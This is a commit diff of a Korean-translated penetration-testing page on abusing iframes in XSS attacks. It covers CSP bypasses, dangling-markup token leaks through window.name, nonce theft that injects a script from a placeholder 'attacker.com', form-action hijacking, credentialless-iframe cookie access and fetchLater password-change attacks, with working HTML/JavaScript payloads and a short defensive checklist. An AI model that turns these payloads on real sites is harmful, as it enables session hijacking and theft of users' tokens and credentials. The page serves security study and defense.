Translated ['src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-

This commit is contained in:
Translator 2025-08-19 20:31:49 +00:00
parent 95e521191f
commit 81db2530d8

View File

@ -6,7 +6,7 @@
iframed 페이지의 내용을 나타내는 방법은 3가지가 있습니다: iframed 페이지의 내용을 나타내는 방법은 3가지가 있습니다:
- `src`를 통해 URL을 나타냅니다 (URL은 교차 출처 또는 동일 출처일 수 있습니다) - URL을 나타내는 `src`를 통해 (URL은 교차 출처 또는 동일 출처일 수 있)
- `data:` 프로토콜을 사용하여 내용을 나타내는 `src` - `data:` 프로토콜을 사용하여 내용을 나타내는 `src`
- 내용을 나타내는 `srcdoc` - 내용을 나타내는 `srcdoc`
@ -45,7 +45,7 @@ var secret = "child secret"
alert(parent.secret) alert(parent.secret)
</script> </script>
``` ```
이전 HTML에 http 서버(예: `python3 -m http.server`)를 통해 접근하면 모든 스크립트가 실행되는 것을 알 수 있습니다(이를 방지하는 CSP가 없기 때문입니다). **부모는 어떤 iframe 안의 `secret` 변수를 접근할 수 없으며** **오직 if2 및 if3 iframe(같은 사이트로 간주됨)만이 원래 창의 secret에 접근할 수 있습니다.**\ 이전 HTML에 HTTP 서버(예: `python3 -m http.server`)를 통해 접근하면 모든 스크립트가 실행되는 것을 알 수 있습니다(이를 방지하는 CSP가 없기 때문입니다). **부모는 어떤 iframe 안의 `secret` 변수를 접근할 수 없으며** **오직 if2 및 if3 iframe(같은 사이트로 간주됨)만이 원래 창의 secret에 접근할 수 있습니다.**\
if4가 `null` 출처로 간주된다는 점에 유의하세요. if4가 `null` 출처로 간주된다는 점에 유의하세요.
### CSP가 있는 Iframes <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a> ### CSP가 있는 Iframes <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
@ -55,13 +55,13 @@ if4가 `null` 출처로 간주된다는 점에 유의하세요.
`script-src``self` 값은 `data:` 프로토콜이나 `srcdoc` 속성을 사용하여 JS 코드를 실행하는 것을 허용하지 않습니다.\ `script-src``self` 값은 `data:` 프로토콜이나 `srcdoc` 속성을 사용하여 JS 코드를 실행하는 것을 허용하지 않습니다.\
그러나 CSP의 `none` 값조차도 `src` 속성에 URL(전체 또는 경로만) 을 넣은 iframe의 실행을 허용합니다.\ 그러나 CSP의 `none` 값조차도 `src` 속성에 URL(전체 또는 경로만) 을 넣은 iframe의 실행을 허용합니다.\
따라서 다음과 같이 페이지의 CSP를 우회하는 것이 가능합니다: 따라서 다음과 같이 페이지의 CSP를 우회할 수 있습니다:
```html ```html
<html> <html>
<head> <head>
<meta <meta
http-equiv="Content-Security-Policy" http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" /> content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head> </head>
<script> <script>
var secret = "31337s3cr37t" var secret = "31337s3cr37t"
@ -77,13 +77,13 @@ src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert
</html> </html>
``` ```
**이전 CSP는 인라인 스크립트의 실행만 허용합니다.**\ **이전 CSP는 인라인 스크립트의 실행만 허용합니다.**\
그러나 **오직 `if1``if2` 스크립트만 실행되지만, 오직 `if1`만 부모 비밀에 접근할 수 있습니다.** 그러나 **오직 `if1``if2` 스크립트만 실행되지만, `if1`만 부모 비밀에 접근할 수 있습니다.**
![](<../../images/image (372).png>) ![](<../../images/image (372).png>)
따라서 **서버에 JS 파일을 업로드하고 iframe을 통해 로드할 수 있다면 CSP를 우회할 수 있습니다. `script-src 'none'`이더라도 가능합니다.** 이는 **동일 사이트 JSONP 엔드포인트를 악용하여도 가능할 수 있습니다.** 따라서 **서버에 JS 파일을 업로드하고 iframe을 통해 로드할 수 있다면 CSP를 우회할 수 있습니다. `script-src 'none'`이더라도 가능합니다.** 이는 **동일 사이트 JSONP 엔드포인트를 악용하여도 가능할 수 있습니다.**
다음 시나리오로 테스트할 수 있습니다. 쿠키가 `script-src 'none'`일 때도 도난당합니다. 애플리케이션을 실행하고 브라우저로 접근하세요: 다음 시나리오로 테스트할 수 있습니다. `script-src 'none'`일 때도 쿠키가 도난당합니다. 애플리케이션을 실행하고 브라우저로 접근하세요:
```python ```python
import flask import flask
from flask import Flask from flask import Flask
@ -103,7 +103,43 @@ return "<script>alert(document.cookie)</script>"
if __name__ == "__main__": if __name__ == "__main__":
app.run() app.run()
``` ```
### Other Payloads found on the wild <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a> #### New (2023-2025) CSP 우회 기술 with iframes
연구 커뮤니티는 제한적인 정책을 무력화하기 위해 iframes를 악용하는 창의적인 방법을 계속 발견하고 있습니다. 아래는 지난 몇 년 동안 발표된 가장 주목할 만한 기술들입니다:
* **Dangling-markup / named-iframe 데이터 유출 (PortSwigger 2023)** 애플리케이션이 HTML을 반영하지만 강력한 CSP가 스크립트 실행을 차단할 때, *dangling* `<iframe name>` 속성을 주입하여 여전히 민감한 토큰을 유출할 수 있습니다. 부분 마크업이 파싱되면, 별도의 출처에서 실행 중인 공격자 스크립트가 프레임을 `about:blank`로 탐색하고 `window.name`을 읽습니다. 이 값은 이제 다음 인용 문자까지의 모든 것을 포함합니다(예: CSRF 토큰). 피해자 컨텍스트에서 JavaScript가 실행되지 않기 때문에, 공격은 일반적으로 `script-src 'none'`을 회피합니다. 최소한의 PoC는 다음과 같습니다:
```html
<!-- 민감한 <script> 바로 앞의 주입 지점 -->
<iframe name="//attacker.com/?"> <!-- 속성이 의도적으로 열려 있음 -->
````
```javascript
// attacker.com 프레임
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → 유출된 값
```
* **동일 출처 iframe을 통한 nonce 도용 (2024)** CSP nonce는 DOM에서 제거되지 않고 DevTools에서만 숨겨집니다. 공격자가 *동일 출처* iframe을 주입할 수 있다면(예: HTML을 사이트에 업로드하여) 자식 프레임은 간단히 `document.querySelector('[nonce]').nonce`를 쿼리하고 정책을 만족하는 새로운 `<script nonce>` 노드를 생성하여 `strict-dynamic`에도 불구하고 전체 JavaScript 실행을 가능하게 합니다. 다음 가젯은 마크업 주입을 XSS로 상승시킵니다:
```javascript
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
```
* **폼 액션 하이재킹 (PortSwigger 2024)** `form-action` 지시어를 생략한 페이지는 주입된 iframe이나 인라인 HTML로 로그인 폼이 *재타겟팅*될 수 있어, 비밀번호 관리자가 자격 증명을 외부 도메인에 자동으로 채우고 제출하게 할 수 있습니다. `script-src 'none'`이 존재할 때도 마찬가지입니다. 항상 `default-src``form-action`으로 보완하세요!
**방어 노트 (빠른 체크리스트)**
1. 보조 컨텍스트를 제어하는 *모든* CSP 지시어(`form-action`, `frame-src`, `child-src`, `object-src` 등)를 항상 전송하세요.
2. nonce가 비밀일 것이라고 의존하지 마세요—`strict-dynamic` **및** 주입 지점을 제거하세요.
3. 신뢰할 수 없는 문서를 포함해야 할 경우 `sandbox="allow-scripts allow-same-origin"`**매우 조심스럽게** 사용하세요(스크립트 실행 격리만 필요하다면 `allow-same-origin` 없이 사용).
4. 방어 심화 COOP+COEP 배포를 고려하세요; 새로운 `<iframe credentialless>` 속성(§ 아래)은 제3자 임베드를 깨뜨리지 않고도 이를 가능하게 합니다.
### Other Payloads found on the wild <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
```html ```html
<!-- This one requires the data: scheme to be allowed --> <!-- This one requires the data: scheme to be allowed -->
<iframe <iframe
@ -122,26 +158,34 @@ iframe 내의 콘텐츠는 `sandbox` 속성을 사용하여 추가 제한을 받
사용될 때, `sandbox` 속성은 여러 가지 제한을 부과합니다: 사용될 때, `sandbox` 속성은 여러 가지 제한을 부과합니다:
- 콘텐츠는 고유한 출처에서 온 것처럼 취급됩니다. - 콘텐츠는 고유한 출처에서 온 것처럼 취급됩니다.
- 양식 제출하려는 모든 시도가 차단됩니다. - 양식 제출 시도가 차단됩니다.
- 스크립트 실행이 금지됩니다. - 스크립트 실행이 금지됩니다.
- 특정 API에 대한 접근이 비활성화됩니다. - 특정 API에 대한 접근이 비활성화됩니다.
- 링크가 다른 브라우징 컨텍스트와 상호작용하는 것을 방지합니다. - 링크가 다른 브라우징 컨텍스트와 상호작용하는 것을 방지합니다.
- `<embed>`, `<object>`, `<applet>` 또는 유사한 태그를 통한 플러그인 사용이 금지됩니다. - `<embed>`, `<object>`, `<applet>` 또는 유사한 태그를 통한 플러그인 사용이 금지됩니다.
- 콘텐츠 자체가 콘텐츠의 최상위 브라우징 컨텍스트를 탐색하는 것이 방지됩니다. - 콘텐츠 자체가 콘텐츠의 최상위 브라우징 컨텍스트를 탐색하는 것이 방지됩니다.
- 비디오 재생이나 양식 컨트롤의 자동 포커스와 같 자동으로 트리거되는 기능이 차단됩니다. - 비디오 재생이나 양식 컨트롤의 자동 포커스와 같 자동으로 트리거되는 기능이 차단됩니다.
속성의 값은 모든 위의 제한을 적용하기 위해 비워둘 수 있습니다(`sandbox=""`). 또는 특정 제한에서 iframe을 면제하는 공백으로 구분된 값 목록으로 설정할 수 있습니다. Tip: 최신 브라우저는 `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation` 등과 같은 세분화된 플래그를 지원합니다. 이를 조합하여 임베디드 애플리케이션에 필요한 최소한의 기능만 부여하십시오.
속성의 값은 모든 위의 제한을 적용하기 위해 비워둘 수 있습니다 (`sandbox=""`). 또는 특정 값을 공백으로 구분하여 설정하여 iframe이 특정 제한에서 면제되도록 할 수 있습니다.
```html ```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe> <!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
``` ```
### Credentialless iframes ### Credentialless iframes
[이 기사](https://blog.slonser.info/posts/make-self-xss-great-again/)에서 설명한 바와 같이, iframe의 `credentialless` 플래그는 요청에 자격 증명을 전송하지 않고 iframe 내에서 페이지를 로드하는 데 사용되며, iframe에 로드된 페이지의 동일 출처 정책(SOP)을 유지합니다. [이 기사](https://blog.slonser.info/posts/make-self-xss-great-again/)에서 설명한 바와 같이, iframe의 `credentialless` 플래그는 요청에 자격 증명을 전송하지 않고 iframe 내에서 페이지를 로드하는 데 사용되며, 로드된 페이지의 동일 출처 정책(SOP)을 유지합니다.
이것은 iframe이 부모 페이지에 로드된 동일 SOP의 다른 iframe에서 민감한 정보에 접근할 수 있게 합니다: **Chrome 110(2023년 2월)부터 이 기능은 기본적으로 활성화되어** 있으며, 사양은 *anonymous iframe*이라는 이름으로 브라우저 간에 표준화되고 있습니다. MDN은 이를 다음과 같이 설명합니다: “실제 출처와 공유되지 않도록 제3자 iframe을 완전히 새로운 임시 저장소 파티션에 로드하는 메커니즘입니다. 따라서 쿠키, localStorage 또는 IndexedDB가 공유되지 않습니다.” 공격자와 방어자에게 미치는 결과:
* 서로 다른 credentialless iframe의 스크립트는 **여전히 동일한 최상위 출처를 공유**하며, DOM을 통해 자유롭게 상호작용할 수 있어 다중 iframe self-XSS 공격이 가능해집니다(아래 PoC 참조).
* 네트워크가 **자격 증명이 제거되었기 때문에**, iframe 내의 모든 요청은 사실상 인증되지 않은 세션처럼 작동합니다. CSRF 보호 엔드포인트는 일반적으로 실패하지만, DOM을 통해 유출될 수 있는 공개 페이지는 여전히 범위에 포함됩니다.
* credentialless iframe에서 생성된 팝업은 암묵적으로 `rel="noopener"`를 가지며, 일부 OAuth 흐름을 깨뜨립니다.
```javascript ```javascript
window.top[1].document.body.innerHTML = 'Hi from credentialless'; // PoC: two same-origin credentialless iframes stealing cookies set by a third
alert(window.top[1].document.cookie); window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
``` ```
- Exploit example: Self-XSS + CSRF - Exploit example: Self-XSS + CSRF
@ -171,7 +215,7 @@ alert(window.top[1].document.cookie);
``` ```
### fetchLater 공격 ### fetchLater 공격
[이 기사](https://blog.slonser.info/posts/make-self-xss-great-again/)에서 언급된 바와 같이, API `fetchLater`는 요청을 나중에 실행되도록 구성할 수 있게 해줍니다(특정 시간 후). 따라서, 이는 예를 들어, 피해자를 공격자의 세션 내에서 로그인시키고(자기 XSS를 통해), `fetchLater` 요청을 설정하여(예를 들어 현재 사용자의 비밀번호를 변경하기 위해) 공격자의 세션에서 로그아웃하는 데 악용될 수 있습니다. 그런 다음, 피해자는 자신의 세션에 로그인하고 `fetchLater` 요청이 실행되어 피해자의 비밀번호가 공격자가 설정한 비밀번호로 변경됩니다. [이 기사](https://blog.slonser.info/posts/make-self-xss-great-again/)에서 언급된 바와 같이, API `fetchLater`는 요청을 나중에 실행되도록 구성할 수 있게 해줍니다(특정 시간 후). 따라서, 이는 예를 들어, 피해자를 공격자의 세션 내에서 로그인시키고(자기 XSS를 통해), `fetchLater` 요청을 설정하여 현재 사용자의 비밀번호를 변경한 후 공격자의 세션에서 로그아웃하는 데 악용될 수 있습니다. 그런 다음, 피해자는 자신의 세션에 로그인하고 `fetchLater` 요청이 실행되어 피해자의 비밀번호가 공격자가 설정한 비밀번호로 변경됩니다.
이렇게 하면 피해자의 URL이 iframe에서 로드될 수 없더라도(CSP 또는 기타 제한으로 인해), 공격자는 여전히 피해자의 세션에서 요청을 실행할 수 있습니다. 이렇게 하면 피해자의 URL이 iframe에서 로드될 수 없더라도(CSP 또는 기타 제한으로 인해), 공격자는 여전히 피해자의 세션에서 요청을 실행할 수 있습니다.
```javascript ```javascript
@ -184,3 +228,27 @@ fetchLater(req,{activateAfter: timeout})
## SOP에서의 Iframes ## SOP에서의 Iframes
다음 페이지를 확인하세요: 다음 페이지를 확인하세요:
{{#ref}}
../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
{{#endref}}
{{#ref}}
../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md
{{#endref}}
{{#ref}}
../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md
{{#endref}}
{{#ref}}
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
{{#endref}}
## 참고문헌
* [PortSwigger Research CSP 우회를 위한 폼 하이재킹 사용 (2024년 3월)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
* [Chrome Developers Iframe credentialless: COEP 환경에 iframe을 쉽게 삽입하기 (2023년 2월)](https://developer.chrome.com/blog/iframe-credentialless)
{{#include ../../banners/hacktricks-training.md}}